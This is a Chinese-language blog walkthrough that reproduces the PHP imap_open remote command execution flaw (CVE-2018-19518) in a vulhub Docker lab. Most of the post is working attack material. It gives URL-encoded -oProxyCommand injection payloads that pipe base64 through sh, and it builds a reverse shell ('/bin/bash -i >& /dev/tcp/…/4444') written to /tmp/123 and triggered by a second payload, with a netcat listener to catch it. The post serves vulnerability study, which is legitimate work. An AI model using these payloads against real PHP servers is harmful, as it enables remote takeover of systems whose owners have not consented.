首页 > 编程语言 >PHP imap 远程命令执行漏洞(CVE-2018-19518)漏洞复现

PHP imap 远程命令执行漏洞(CVE-2018-19518)漏洞复现

时间:2024-04-07 15:35:20浏览次数:20  
标签:shell oProxyCommand% IP 09 19518 漏洞 sh 2018 执行

php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。

因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。

启动实验环境

cd /vulhub/php/CVE-2018-19518
sudo docker-compose up -d

漏洞利用

输入数据,使用burpsuite抓包

上述中x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}的意思如下

  • 使用url编码解码后x -oProxyCommand=echo ZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64 -d|sh}
  • ZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=的意思是echo '1234567890'>/tmp/test0001
  • 通过-oProxyCommand参数执行命令,x可以是任意值

执行后进入容器查看是否执行成功

可以看到命令执行成功

反弹shell

这里有很多反弹shell的思路,可以直接传入命令执行反弹shell,但是更稳定的方法是写入反弹shell文件,然后执行反弹shell文件获得稳定控制权限

  1. 准备反弹shell代码
    这时就遇到一个问题,在docker中,我们并不知道容器的IP和本机的IP地址,在一些一般默认情况下,你的docker容器可以上网,可以使用apt install net-tools安装ifconfig查看容器IP地址,通过tracrroute上网找到宿主机IP,宿主机器的IP也可以通过在宿主机器执行ifconfig获取到(有时候有,有时候没有),但是这是一个非常low的方法,这是因为我的docker使用的不熟练

其实可以通过docker inspect 容器ID直接获取容器的所有信息,其中就含有容器的IP默认网关的IP,一般情况下默认网关的IP就是我们宿主机的IP

接着构造payload

echo "/bin/bash -i >& /dev/tcp/172.22.0.1/4444 0>&1" > /tmp/123
# base64encode
ZWNobyAiL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4yMi4wLjEvNDQ0NCAwPiYxIiA+IC90bXAvMTIz
# 将base64编码内容替换
x+-oProxyCommand%3decho%09[base64编码内容]|base64%09-d|sh}&username=111&password=222
x+-oProxyCommand%3decho%09ZWNobyAiL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4yMi4wLjEvNDQ0NCAwPiYxIiA+IC90bXAvMTIz|base64%09-d|sh}
# 将base64编码内容再次进行url编码
x+-oProxyCommand%3decho%09ZWNobyAiL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4yMi4wLjEvNDQ0NCAwPiYxIiA%2bIC90bXAvMTIz|base64%09-d|sh}
  1. payload粘贴到hostname参数,提交

3.使用/bin/bash触发/tmp/123反弹shell脚本
构造payload

/bin/bash /tmp/123
# base64encode
L2Jpbi9iYXNoIC90bXAvMTIz
# 替换base64内容后进行url编码
x+-oProxyCommand%3decho%09L2Jpbi9iYXNoIC90bXAvMTIz|base64%09-d|sh}

首先本地监听nc -lvp 4444

提交

获得shell

实验结束。

标签:shell,oProxyCommand%,IP,09,19518,漏洞,sh,2018,执行
From: https://www.cnblogs.com/Junglezt/p/18119142

相关文章

  • [WesternCTF2018]shrine
    [WesternCTF2018]shrine代码整理后得到importflask<!--more-->importosapp=flask.Flask(__name__)app.config['FLAG']=os.environ.pop('FLAG')@app.route('/')defindex():returnopen(__file__).read()@app.route(......
  • Redis未授权漏洞复现
    目录Redis漏洞的产生条件及利用Redis环境搭建漏洞复现利用Redis写入Webshell利用Redis写入SSH公钥利用Redis写入计划任务Redis安全防护Redisredis(remotedictionaryserver)是一个key-value存储系统,是跨平台的非关系型数据库。redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用......
  • 【漏洞复现】畅捷通T+ KeyInfoList.aspx SQL注入漏洞
                         免责声明:文章来源互联网收集整理,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使......
  • 5种Race Conditions条件竞争漏洞,你的网站中了哪一个?
    Raceconditions(条件竞速)为常见的漏洞,与业务逻辑缺陷有密切关系。当网站在没有足够保护措施的情况下同时处理请求时,就会发生这种情况。这可能会导致多个不同的执行绪同时互相影响而导致冲突,使应用程式中出现意外行为。常见的攻击方法如下饶过只限一次的申请饶过爆力破解密......
  • PHP-CGI远程代码执行漏洞(CVE-2012-1823)
    影响版本:php<5.3.12orphp<5.4.2cgi、fastcgi、fpm下载PHP源码,可以看到其中有个目录叫sapi。sapi在PHP中的作用,类似于一个消息的“传递者”最常见的sapi应该是用于Apache的mod_php,这个sapi用于php和apache之间的数据交换php-cgi也是一个sapi。在远古的时候,web应用的运......
  • WEB漏洞挖掘详细教程--用户输入合规性(sql注入测试)
    前置教程:WEB漏洞挖掘(SRC)详细教程--信息收集篇-CSDN博客WEB漏洞挖掘(SRC)详细教程--身份认证与业务一致性-CSDN博客WEB漏洞挖掘(SRC)详细教程--业务数据篡改-CSDN博客2.4用户输入合规性2.4.1注入测试a.手动注入1.在参数中输入一个单引号”'”,引起执行查询语句的语法错误,得......
  • Apache漏洞复现
    ApacheHTTPD是一款HTTP服务器,该服务器是现在市场上使用最多的服务器,今天对该中间件做一些漏洞复现ApacheHTTPD换行解析漏洞(CVE-2017-15715)Apache通过mod_php来运行PHP网页影响范围:2.4.0~2.4.29漏洞描述:存在解析漏洞,在解析.php时,会将1.php\x0A当做PHP文件执行,从而绕......
  • 【移动安全】对webview漏洞的一些分析
    这次分析的app如下:打开发现该app发现需要登录界面:拖进jadx看一下,先来看一下AndroidManifest.xml文件发现有两个类是导出,再来分析这两个类这个RegistrationWebView类利用webview.loadUrl进行加载网页publicclassRegistrationWebViewextendsAppCompatActivity{/*......
  • 全球变暖蓝桥杯2018省赛真题
    全球变暖蓝桥杯2018省赛真题DFS大法全球变暖#include<bits/stdc++.h>usingnamespacestd;#defineintlonglongboolflag;chara[1010][1010];intcnt,n,ans=0,pre_ans=0,d[4][2]={1,0,-1,0,0,1,0,-1};voiddfs(intx,inty){if(x>=n||x<0||y>=n||y<0||a......
  • 第二章-漏洞环境
    漏洞环境1.Ubuntu安装dockerUbuntu镜像下载Ubuntu虚拟机安装Ubuntu虚拟机VMWare-Tools安装:sudoapt-getinstallopen-vm-tools#全选ysudoapt-getinstallopen-vm*#全选yreboot1.1.Ubuntu安装docker1.卸载旧版本:sudoapt-getremovedockerdocker-e......